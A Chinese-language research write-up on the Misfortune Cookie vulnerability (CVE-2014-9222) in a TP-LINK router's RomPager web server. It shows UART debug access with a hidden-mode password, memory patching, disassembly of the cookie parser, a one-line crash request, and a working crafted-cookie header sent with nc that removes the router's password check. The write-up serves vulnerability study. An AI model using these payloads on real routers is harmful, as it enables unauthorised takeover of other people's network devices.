Misfortune Cookie (CVE-2014-9222) 解密

Misfortune Cookie 漏洞被公开了有一阵子,但在公开环境中还是没有深入分析这个漏洞技术细节的文章。那些叫做“Misfortune Cookie扫描器”如下所示,只是一个用来获取”/Allegro”路径返回字符串的简单脚本。

cawan$ curl 192.168.1.1/Allegro
<html>
    <head>
        <title>Allegro Copyright</title>
    </head>
    <body>
        RomPager Advanced Version 4.07<br />
        (C) 1995 - 2002 Allegro Software Development Corporation
    </body>
</html>

没啥特别的… 所以让我们进一步挖掘。 我使用的路由型号是 TD-8901N,固件版本”TD-W8901N v1_111211”。 在打开了路由的外壳, Tx和Rx 标记PCB上,说明可以通过UART来进行调试,在启动的过程中通过示波器来探测Tx的数据,表明了工作在3.3v下并且比特率为115200。现在用一个USB-to-UART转换器连接路由后再次启动路由。我们可以看到非常详细的启动日志。然而命令行下很受限,没有什么可以用的东西,如下所示:

Copyright (c) 2001 - 2012 TP-LINK TECHNOLOGIES CO., LTD.
TP-LINK>
TP-LINK> ?
Valid commands are:
sys             exit            ether           wan             
etherdbg        tcephydbg       ip              bridge           
dot1q           pktqos          show            set             
lan                                                             
TP-LINK>

至少,我们可以在zynos bootloader上停止启动的过程

Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode

RAS Version: 1.0.0 Build 121121 Rel.08870 
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18 

Press any key to enter debug mode within 3 seconds.
.......
Enter Debug Mode

在调试模式下,我们可以使用和AT命令有点相似的zynos命令,如下所示:

Enter Debug Mode
athe
======= Debug Command Listing =======
AT          just answer OK
ATHE          print help
ATBAx         change baudrate. 1:38.4k, 2:19.2k, 3:9.6k 4:57.6k 5:115.2k
ATENx,(y)     set BootExtension Debug Flag (y=password)
ATSE          show the seed of password generator
ATTI(h,m,s)   change system time to hour:min:sec or show current time
ATDA(y,m,d)   change system date to year/month/day or show current date
ATDS          dump RAS stack
ATDT          dump Boot Module Common Area
ATDUx,y       dump memory contents from address x for length y
ATRBx         display the  8-bit value of address x
ATRWx         display the 16-bit value of address x
ATRLx         display the 32-bit value of address x
ATGO(x)       run program at addr x or boot router
ATGR          boot router
ATGT          run Hardware Test Program
ATRTw,x,y(,z) RAM test level w, from address x to y (z iterations)
ATSH          dump manufacturer related data in ROM
ATDOx,y       download from address x for length y to PC via XMODEM
ATTD          download router configuration to PC via XMODEM
ATUR          upload router firmware to flash ROM

< press any key to continue >

通过Piotrbania [1]得知, 在一个可以被触发的“上帝模式”中可以启用隐藏的命令。那些隐藏的命令可以让我们查看内存的映射和编辑内存的内容,如下所示:

ATEN1, A847D6B1
OK
athe
======= Debug Command Listing =======
AT          just answer OK
ATHE          print help
ATBAx         change baudrate. 1:38.4k, 2:19.2k, 3:9.6k 4:57.6k 5:115.2k
ATENx,(y)     set BootExtension Debug Flag (y=password)
ATSE          show the seed of password generator
ATTI(h,m,s)   change system time to hour:min:sec or show current time
ATDA(y,m,d)   change system date to year/month/day or show current date
ATDS          dump RAS stack
ATDT          dump Boot Module Common Area
ATDUx,y       dump memory contents from address x for length y
ATWBx,y       write address x with  8-bit value y
ATWWx,y       write address x with 16-bit value y
ATWLx,y       write address x with 32-bit value y
ATRBx         display the  8-bit value of address x
ATRWx         display the 16-bit value of address x
ATRLx         display the 32-bit value of address x
ATGO(x)       run program at addr x or boot router
ATGR          boot router
ATGT          run Hardware Test Program
AT%Tx         Enable Hardware Test Program at boot up
ATBTx         block0 write enable (1=enable, other=disable)

< press any key to continue >
ATRTw,x,y(,z) RAM test level w, from address x to y (z iterations)
ATWEa(,b,c,d) write MAC addr, Country code, EngDbgFlag, FeatureBit to flash ROM
ATCUx         write Country code to flash ROM
ATCB          copy from FLASH ROM to working buffer
ATCL          clear working buffer
ATSB          save working buffer to FLASH ROM
ATBU          dump manufacturer related data in working buffer
ATSH          dump manufacturer related data in ROM
ATWMx         set low 6 digits MAC address in working buffer
ATMHx         set hight 6 digits MAC address in working buffer
ATBS          show the bootbase seed of password generator
ATLBx         xmodem upload bootbase,x is password
ATSMx         set 6 digits MAC address in working buffer
ATCOx         set country code in working buffer
ATFLx         set EngDebugFlag in working buffer
ATSTx         set ROMRAS address in working buffer
ATSYx         set system type in working buffer
ATVDx         set vendor name in working buffer
ATPNx         set product name in working buffer
ATFEx,y,...   set feature bits in working buffer
ATMP          check & dump memMapTab
ATDOx,y       download from address x for length y to PC via XMODEM

< press any key to continue >
ATTD          download router configuration to PC via XMODEM
ATUPx,y       upload to RAM address x for length y from PC via XMODEM
ATUR          upload router firmware to flash ROM
ATDC          hardware version check disable during uploading firmware
ATLC          upload router configuration file to flash ROM
ATUXx(,y)     xmodem upload from flash block x to y
ATERx,y       erase flash rom from block x to y
ATWFx,y,z     copy data from addr x to flash addr y, length z
ATXSx         xmodem select: x=0: CRC mode(default); x=1: checksum mode
ATLD          Upload Configuration File and Default ROM File to Flash
ATBR              Reset to default Romfile
ATCD          Convert Running ROM File to Default ROM File into Flash

OK
atmp
                                                                                                      
ROMIO image start at bfc30000

  1: HTPCode(RAMCODE), start=80048000, len=E0000
  2: RasCode(RAMCODE), start=80048000, len=6E0000
$ROM Section:
  3: BootBas(ROMIMG), start=bfc28000, len=4000
  4: DbgArea(ROMIMG), start=bfc2c000, len=2000
  5: RomDir2(ROMDIR), start=bfc2e000, len=2000
  6: BootExt(ROMIMG), start=bfc30030, len=13FD0
  7: MemMapT(ROMMAP), start=bfc44000, len=C00
  8: HTPCode(ROMBIN), start=bfc44c00, len=8000
     (Compressed)
     Version: HTP_TC V 0.05, start: bfc44c30
     Length: 10488, Checksum: CB32
     Compressed Length: 41CF, Checksum: D5A5
  9: termcap(ROMIMG), start=bfc4cc00, len=400
 10: RomDefa(ROMIMG), start=bfc4d000, len=2000
 11: LedDefi(ROMIMG), start=bfc4f000, len=400
 12: LogoImg(ROMIMG), start=bfc4f400, len=2000
 13: LogoImg2(ROMIMG), start=bfc51400, len=2000
 14: StrImag(ROMIMG), start=bfc53400, len=32000
 15: Rt11nE2p(ROMIMG), start=bfc85400, len=400
 16: fdata(ROMBIN), start=bfc85800, len=10000
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
 17: RasCode(ROMBIN), start=bfc95800, len=192800
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

所以,我们可以稍微在这做个总结:

1) 最初的执行是从地址0xbfc00000开始的 我们可以通过下面操作来验证:

atgo bfc00000

Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode

RAS Version: 1.0.0 Build 121121 Rel.08870 
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18 

Press any key to enter debug mode within 3 seconds.
.........
Enter Debug Mode

2) zynos bootloader 从地址0x80000000开始的。在执行的前一阶段它会解包和解压。如下所示,这并不完全是在ras固件的0x14C33镜像

cawan$ binwalk ras

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
61315         0xEF83          ZyXEL rom-0 configuration block, name: "dbgarea", ...
61564         0xF07C          ZyXEL rom-0 configuration block, name: "dbgarea", ...
85043         0x14C33         LZMA compressed data, properties: 0x5D ...
118036        0x1CD14         Unix path: /usr/share/tabset/vt100:\
118804        0x1D014         ZyXEL rom-0 configuration block, name: "spt.dat", ...
118824        0x1D028         ZyXEL rom-0 configuration block, name: "autoexec.net", ...
128002        0x1F402         GIF image data, version "89a", 200 x 50
136194        0x21402         GIF image data, version "89a", 560 x 50
244317        0x3BA5D         Neighborly text, "neighbor of your ADSL Router that ...
281224        0x44A88         Unix path: /I/J/L/M
328173        0x501ED         Copyright string: "Copyright (c) 2001 - 2012 TP-LINK ...
350259        0x55833         LZMA compressed data, properties: 0x5D, ...
415795        0x65833         LZMA compressed data, properties: 0x5D, ...

所以,应该通过atdo命令将它从内存中备份出来。

3) 路由所用的RTOS THREADX和allegro rompager一起从地址0x80020000开始。再一次,在执行的前一阶段它会解包和解压。至少地址0x65883的镜像会完整的从固件中提取出来,如下所示。除此之外,处理器构架也能够像下面这样探测到。

cawan$ binwalk --disasm --minsn=100 65833

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             MIPS executable code, 32/64-bit, big endian, ...

所以, 0x65883的镜像已经准备载入IDA Pro ,其基址0x8002000,处理器构架为MIPS大端。通过 Lior Oppenheim and Shahar Tal [2]得知, 这个漏洞的存在是因为rompager的web服务器中缺少了对“Cookie: C”的解释,当我们如下所做:

cawan$ curl --header 'Cookie: C' 192.168.1.1

会导致路由出现某种错误并且立即重启。通过UART口的信息,我们可以到类似“Kernel Panic”的错误输出。如下所示:

TP-LINK>
TLB refill exception occured!
EPC= 0x8010E5D8
SR= 0x10000003
CR= 0xC080500C
$RA= 0x00000000
Bad Virtual Address = 0x00000000
UTLB_TLBS ..\core\sys_isr.c:267 sysreset()


        $r0= 0x00000000 $at= 0x80350000 $v0= 0x00000000 $v1= 0x00000001
        $a0= 0x00000001 $a1= 0x805D7AF8 $a2= 0xFFFFFFFF $a3= 0x00000000
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38 $t3= 0x804A9E47
        $t4= 0x804A9460 $t5= 0x804A8A60 $t6= 0x804A9D00 $t7= 0x00000040
        $s0= 0x804A8A60 $s1= 0x8040C114 $s2= 0x805E2BC8 $s3= 0x80042A70
        $s4= 0x00000001 $s5= 0x8000007C $s6= 0x8040E5FC $s7= 0x00000000
        $t8= 0x804A9E48 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C
        $gp= 0x8040F004 $sp= 0x805E2B60 $fp= 0x805E2BC8 $ra= 0x8003A3D0


          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

805e2bc8: 80 5e 2b f8 80 04 2a 70 80 4e d5 ba 00 00 00 01     .^+...*p.N......
805e2bd8: 80 4e d5 ba 00 00 00 00 80 40 f8 ac 80 48 4e 29     .N.......@...HN)
805e2be8: 80 55 54 4c 42 5f 54 4c 42 53 00 ba 80 41 34 0c     .UTLB_TLBS...A4.
805e2bf8: 80 5e 2c 18 80 10 e5 e0 80 42 64 dc 80 4e d5 b9     .^,......Bd..N..
805e2c08: 80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0     .@.......@......
805e2c18: 80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00     .^,0...8.@......
805e2c28: 00 00 00 00 80 16 c4 28 80 5e 2c 40 80 10 ec 28     .......(.^,@...(
...
...
805e2f68: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2f78: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2f88: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2f98: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2fa8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2fb8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2fc8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................

 current task   = httpd
 dump task      = network
 tx_stack_ptr   = 0x805D5990
 tx_stack_start = 0x805D3AF0
 tx_stack_end   = 0x805D5AEF
 tx_stack_size  = 0x00002000
 tx_run_count   = 0x00000220
          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

805d5990: 00 00 00 00 80 5d 5a 70 80 44 2b f8 80 4a db 98     .....]Zp.D+..J..
805d59a0: 80 44 2c 8c 80 44 2c 90 80 44 2c 7c 80 44 2c 94     .D,..D,..D,|.D,.
805d59b0: 80 4a db 98 10 00 00 01 00 00 00 0a 00 00 00 00     .J..............
805d59c0: 80 1e cc ac 10 00 00 01 00 00 00 00 80 51 47 98     .............QG.
805d59d0: 00 00 00 00 00 00 05 dc 00 00 00 14 c0 a8 01 90     ................
805d59e0: 80 5d 5a 90 80 07 20 c8 80 45 23 34 00 00 00 01     .]Z... ..E#4....
805d59f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805d5a00: 00 00 00 00 80 4d ac 88 80 52 90 38 00 00 00 01     .....M...R.8....
805d5a10: c0 a8 01 90 00 00 00 01 80 5d 5a 90 80 51 47 98     .........]Z..QG.
805d5a20: 80 45 23 34 00 00 00 14 00 00 00 00 00 00 00 00     .E#4............
805d5a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805d5a40: 00 00 00 00 00 00 00 00 00 00 00 00 c0 a8 01 01     ................
805d5a50: 10 00 00 01 80 4a db 98 00 00 00 00 00 00 00 00     .....J..........
...
...
Reserve for Print when Crash

Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!

现在我们可以看出,错误出现在httpd的进程上,而且PC指针指向0x8010E5D8。让我们在IDA Pro中查细节

ROM:8010E5B0 loc_8010E5B0:                            # CODE XREF: sub_8010E574+EC j
ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
ROM:8010E5B8                 li      $a1, 0x3D
ROM:8010E5BC                 addiu   $s0, 1
ROM:8010E5C0                 move    $a0, $s0       
ROM:8010E5C4                 jal     sub_8016C340
ROM:8010E5C8                 nop
ROM:8010E5CC                 move    $a0, $s0       
ROM:8010E5D0                 move    $s1, $v0       
ROM:8010E5D4                 addiu   $s1, 1
ROM:8010E5D8                 jal     sub_801F2E74
ROM:8010E5DC                 sb      $zero, -1($s1) 
ROM:8010E5E0                 move    $a0, $s1       
ROM:8010E5E4                 jal     sub_8016CA24
ROM:8010E5E8                 move    $s3, $v0       
ROM:8010E5EC                 li      $a2, 0x28
ROM:8010E5F0                 mul     $t2, $s3, $a2   
ROM:8010E5F4                 move    $a1, $s1       
ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28
ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0   
ROM:8010E604                 addu    $a0, $t5, $t2   
ROM:8010E608                 jal     sub_8016A784
ROM:8010E60C                 sb      $zero, 0($at)
ROM:8010E610                 j       loc_8010E644   
ROM:8010E614                 addu    $s0, $s1, $s0
ROM:8010E618  # ---------------------------------------------------------------------------

令人兴奋的是,这正是[2]中所提及的代码。在ROM:8010E5F0中,看起来Cxxx=yyy语法会被解释成xxx乘以0x28再将结果加上 ROM:8010E5F8中所示的基址,然后使用这个新地址作为目的地址复制yyy的值(ROM:8010E608)。因此,这可以让我们实现任意写。从另外一方面来说,这有可能能让我们以”sys pwauthen 0”的形式”解锁”路由,如下所示:

cawan$ curl 192.168.1.1
<html>
    <head>
        <title>Protected Object</title>
    </head>
    <body>
        <h1>Protected Object</h1>Username or Password error
    </body>
</html>
TP-LINK> sys pswauthen 0
Do not need password authentication for configuration!
TP-LINK>
cawan$ curl 192.168.1.1
<html>
    <head>
        <title></title>
    </head>
    <frameset border="0" frameborder="0" framespacing="0" rows="65,75,*">
        <frame marginheight="0" marginwidth="0" name="header" noresize="" src="status.html"></frame>
        <frame marginheight="0" marginwidth="0" name="navigation" noresize="" src="navigation-status.html"></frame>
        <frame marginheight="0" marginwidth="0" name="main" noresize="" src="../status/status_deviceinfo.htm"></frame>
    </frameset>
    <noframes></noframes>
</html>   

所以,让我们来找出“解锁”字节的准确位置。通过追踪字符串”Do not need password authentication for configuration!”,在ROM:801F9168的指令中,看起来“解锁”字节在地址0x8034FF94上。现在,让我们来验证它。通过0x80000000的内存备份,固件的解压工作在地址0x80014BC0之前已经完成,还有通过指令”jalr $s0”跳转到 0x80020000地址。通过IDA Pro,我们可以知道$at 等于0x80020000,如果我们把ROM:0x80014BC0的指令”jalr $s0”更改到”sw $s0, -4($at)”,那么当镜像被解压后,它会复制$s0里面的内容到0x8001FFFC,然后在这停止启动。所以通过读取地址0x8001FFFC的内容,我们可以知道zynos将要跳转到0x80020000或者其他地方。让我们试一试:

Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode

RAS Version: 1.0.0 Build 121121 Rel.08870 
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18 

Press any key to enter debug mode within 3 seconds.
............
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
atgr
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
atrl 8001fffc
8001FFFC: 80020000

这里有一个小小的提醒,ac30fffc是”sw $s0, -4($at)”的16进制值。现在我们可以确定解压后的镜像基址在0x80020000。这如上面所提及到的,我们知道”解锁”字节在地址0x8034FF94上,如果我们将它从”1”改到”0”,那么此时路由应该不需要密码验证了。让我们来试试看:

atrb 8034ff94
8034FF94: 01

OK
atwb 8034ff94,0
OK
atgo 80020000

Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
initialize ch = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a
initialize ch = 1, ethernet address: 14:cc:20:57:38:2a
Wan Channel init ........ done
Reset dmt
Check DMT version =b2 ........
Initializing ADSL F/W ........ done
ADSL HW version: b2, HCLK 140
ok

==>natTableMemoryInit
<==natTableMemoryInitANNEXAIJLM
US bitswap on,DS bitswap on
OlrON
SRAON
Testlab 32
largeD flag=2 (0:maxD=64, 1:maxD=128, 2:maxD=511)
portreverse : on

input line: sysdisa
Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!
ble PM!
Dyingasp OFF!
dhcp address probe action is disabled
Valid Loss of power OFF!
run distributePvcFakeMac!
set try multimode number to 3 (dropmode try num 3)
Syncookie switch On!
run distributePvcFakeMac!
run distributePvcFakeMac!
run d
Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!
istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...
cawan$ curl 192.168.1.1
<html>
    <head><title></title>
    </head>
    <frameset border="0" frameborder="0" framespacing="0" rows="65,75,*">
        <frame marginheight="0" marginwidth="0" name="header" noresize="" src="status.html"></frame>
        <frame marginheight="0" marginwidth="0" name="navigation" noresize="" src="navigation-status.html"></frame>
        <frame marginheight="0" marginwidth="0" name="main" noresize="" src="../status/status_deviceinfo.htm"></frame>
    </frameset>
    <noframes></noframes>
</html>

好极了,毫无疑问的是现在已经工作在“解锁”模式了。所以现在是时候远程利用这个漏洞了。通过httpd代码段可以知道,看起来我们为了算出在ROM:8010E608中写操作的目的地址应该先了解在ROM:8010E5F8的$s4值是多少。代码段如下所示:

ROM:8010E5B0 loc_8010E5B0:                            # CODE XREF: sub_8010E574+EC j
ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
ROM:8010E5B8                 li      $a1, 0x3D
ROM:8010E5BC                 addiu   $s0, 1
ROM:8010E5C0                 move    $a0, $s0       
ROM:8010E5C4                 jal     sub_8016C340
ROM:8010E5C8                 nop
ROM:8010E5CC                 move    $a0, $s0       
ROM:8010E5D0                 move    $s1, $v0       
ROM:8010E5D4                 addiu   $s1, 1
ROM:8010E5D8                 jal     sub_801F2E74
ROM:8010E5DC                 sb      $zero, -1($s1) 
ROM:8010E5E0                 move    $a0, $s1       
ROM:8010E5E4                 jal     sub_8016CA24
ROM:8010E5E8                 move    $s3, $v0       
ROM:8010E5EC                 li      $a2, 0x28
ROM:8010E5F0                 mul     $t2, $s3, $a2   
ROM:8010E5F4                 move    $a1, $s1       
ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28  # $s4 = ?
ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0   
ROM:8010E604                 addu    $a0, $t5, $t2   
ROM:8010E608                 jal     sub_8016A784
ROM:8010E60C                 sb      $zero, 0($at)
ROM:8010E610                 j       loc_8010E644   
ROM:8010E614                 addu    $s0, $s1, $s0
ROM:8010E618  # ---------------------------------------------------------------------------

现在的问题是如何获得在ROM:8010E5F8中$s4的值? 其实很简单,只要将$s4里面的内容复制到一个很少用到的寄存器如$s7,然后立即触发”Kernel Painc”。我们现在来试试,首先我们将

ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0

改变成

ROM:8010E5FC                 add    $s7, $s4,$zero
ROM:8010E600                 jr    $zero

这两条指令的hex值为

"add $s7, $s4,$zero"   =  0x0280b820
"jr $zero"             =  0x00000008

此时,我们就能获得$s4的值

Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode

RAS Version: 1.0.0 Build 121121 Rel.08870 
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18 

Press any key to enter debug mode within 3 seconds.
.......
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 8010E5FC, 0280b820
OK
ATWL 8010E600, 00000008
OK
ATGO 80020000

Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
initialize ch = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a
initialize ch = 1, ethernet address: 14:cc:20:57:38:2a
Wan Channel init ........ done
Reset dmt
Check DMT version =b2 ........
Initializing ADSL F/W ........ done
ADSL HW version: b2, HCLK 140
ok

==>natTableMemoryInit
<==natTableMemoryInitANNEXAIJLM
US bitswap on,DS bitswap on
OlrON
SRAON
Testlab 32
largeD flag=2 (0:maxD=64, 1:maxD=128, 2:maxD=511)
portreverse : on

input line: sysdisa
Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!
ble PM!
Dyingasp OFF!
dhcp address probe action is disabled
Valid Loss of power OFF!
run distributePvcFakeMac!
set try multimode number to 3 (dropmode try num 3)
Syncookie switch On!
run distributePvcFakeMac!
run distributePvcFakeMac!
run d
Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!
istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...

Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!

现在只要简单的发出一个cookie给路由,就会立即触发”Kernel Panic”

cawan$ curl --header 'Cookie: C9=9' 192.168.1.1 

在UART端口,我们能够立即看到 :)

TLB refill exception occured!
EPC= 0x00000000
SR= 0x10000003
CR= 0x50805808
$RA= 0x80020000
Bad Virtual Address = 0x00000000
UTLB_TLBL ..\core\sys_isr.c:267 sysreset()


        $r0= 0x00000000 $at= 0x80350000 $v0= 0x00000000 $v1= 0x00000001
        $a0= 0x00000001 $a1= 0x805D7AF8 $a2= 0xFFFFFFFF $a3= 0x00000000
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38 $t3= 0x804A9E47
        $t4= 0x804A9460 $t5= 0x804A8A60 $t6= 0x804A9D00 $t7= 0x00000040
        $s0= 0x804A8A60 $s1= 0x8040C114 $s2= 0x805E2BC8 $s3= 0x80042A70
        $s4= 0x00000001 $s5= 0x8000007C $s6= 0x8040E5FC $s7= 0x8040F8AC
        $t8= 0x804A9E48 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C
        $gp= 0x8040F004 $sp= 0x805E2B60 $fp= 0x805E2BC8 $ra= 0x8003A3D0


          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

805e2bc8: 80 5e 2b f8 80 04 2a 70 80 4e fe 1e 80 4e fe 20     .^+...*p.N...N.
805e2bd8: 80 4e fe 21 00 00 00 09 80 40 f8 ac 80 48 4e 29     .N.!.....@...HN)
805e2be8: 80 55 54 4c 42 5f 54 4c 42 4c 00 21 80 1f 2e 88     .UTLB_TLBL.!....
805e2bf8: 80 5e 2c 18 80 10 e5 ec 80 42 64 dc 80 4e fe 1d     .^,......Bd..N..
805e2c08: 80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0     .@.......@......
805e2c18: 80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00     .^,0...8.@......
...
...

好了, 正如我们想要实现的,EPC 为 0x00000000。除此之外$s7的值为0x8040F8AC 也就是我们所寻找的$s4的值

现在,我们知道了$s4的值为0x8040F8AC,还有$t5的值为0x804163D4,即0x804163D4是对目的地址进行写操作的基址。因为我们需要覆盖0x8034FF94的值,所以:

0x8034FF94 - 0x804163D4 = 0xFFF39BC0     # do this in dword
0xFFF39BC0 % 0x28 = 0                   # do this in qword
0xFFF39BC0 / 0x28 = 0x06661718           # do this in qword
0x06661718 = 107353880 (in decimal)

因为地址0x8034FF94正好是0x28字节对齐的chunk中的地一个字节,以至于我们只能通过null(0x00)覆盖一个字节。然而,如果我们通过curl给路由发送一个特别构造的数据包是有点不恰当,因为curl会用0x0d0a0d0a填充header。作为替代用nc来发送特别构造的数据包是一个更好的选择。将这个特别构造的数据包定义成一个文件再通过管道传到nc再发送至路由来远程“解锁”。让我们现在来试试

cawan$ cat ./cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130   */*.Cookie: C10
0000050: 3733 3533 3838 303d 000a                 7353880=..
cawan$ curl 192.168.1.1
<html>
<head>
<title>Protected Object</title></head><body>
<h1>
Protected Object</h1>
Username or Password error</body></html>
cawan$
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$
cawan$ curl 192.168.1.1
<html>
    <head><title></title>
    </head>
    <frameset border="0" frameborder="0" framespacing="0" rows="65,75,*">
        <frame marginheight="0" marginwidth="0" name="header" noresize="" src="status.html"></frame>
        <frame marginheight="0" marginwidth="0" name="navigation" noresize="" src="navigation-status.html"></frame>
        <frame marginheight="0" marginwidth="0" name="main" noresize="" src="../status/status_deviceinfo.htm"></frame>
    </frameset>
   <noframes></noframes>
</html>

Cool,完成了,看起来Misfortune Cookie漏洞真是有意思。

References:

[1] http://piotrbania.com/all/articles/tplink_patch/

[2] http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf

PDF Version:

https://www.scribd.com/doc/256266998/Misfortune-Cookie-Demystified